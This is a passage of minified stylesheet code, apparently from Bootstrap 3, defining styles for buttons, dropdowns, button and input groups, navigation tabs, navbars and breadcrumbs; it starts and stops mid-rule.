.btn{pointer-events:none;cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default:hover,.btn-default:focus,.btn-default.focus,.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled.focus,.btn-default[disabled].focus,fieldset[disabled] .btn-default.focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary:hover,.btn-primary:focus,.btn-primary.focus,.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled.focus,.btn-primary[disabled].focus,fieldset[disabled] .btn-primary.focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:hover,.btn-success:focus,.btn-success.focus,.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled.focus,.btn-success[disabled].focus,fieldset[disabled] .btn-success.focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info:hover,.btn-info:focus,.btn-info.focus,.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled.focus,.btn-info[disabled].focus,fieldset[disabled] .btn-info.focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:hover,.btn-warning:focus,.btn-warning.focus,.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled.focus,.btn-warning[disabled].focus,fieldset[disabled] .btn-warning.focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:hover,.btn-danger:focus,.btn-danger.focus,.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled.focus,.btn-danger[disabled].focus,fieldset[disabled] .btn-danger.focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link:active,.btn-link.active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#777;text-decoration:none}.btn-lg,.btn-group-lg>.btn{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-sm,.btn-group-sm>.btn{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-xs,.btn-group-xs>.btn{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=submit].btn-block,input[type=reset].btn-block,input[type=button].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none;visibility:hidden}.collapse.in{display:block;visibility:visible}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#777}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px solid}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child>.btn:last-child,.btn-group>.btn-group:first-child>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=radio],[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn,select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn,select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn{height:auto}.input-group-addon,.input-group-btn,.input-group .form-control{display:table-cell}.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child),.input-group .form-control:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=radio],.input-group-addon input[type=checkbox]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group-btn:last-child>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:first-child>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:hover,.input-group-btn>.btn:focus,.input-group-btn>.btn:active{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:hover,.nav>li>a:focus{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:hover,.nav>li.disabled>a:focus{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:hover,.nav .open>a:focus{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:hover,.nav-tabs>li.active>a:focus{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:hover,.nav-tabs.nav-justified>.active>a:focus{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:hover,.nav-pills>li.active>a:focus{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:hover,.nav-tabs-justified>.active>a:focus{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none;visibility:hidden}.tab-content>.active{display:block;visibility:visible}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important;visibility:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type=radio],.navbar-form .checkbox input[type=checkbox]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#333}.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:focus{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#fff}.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid 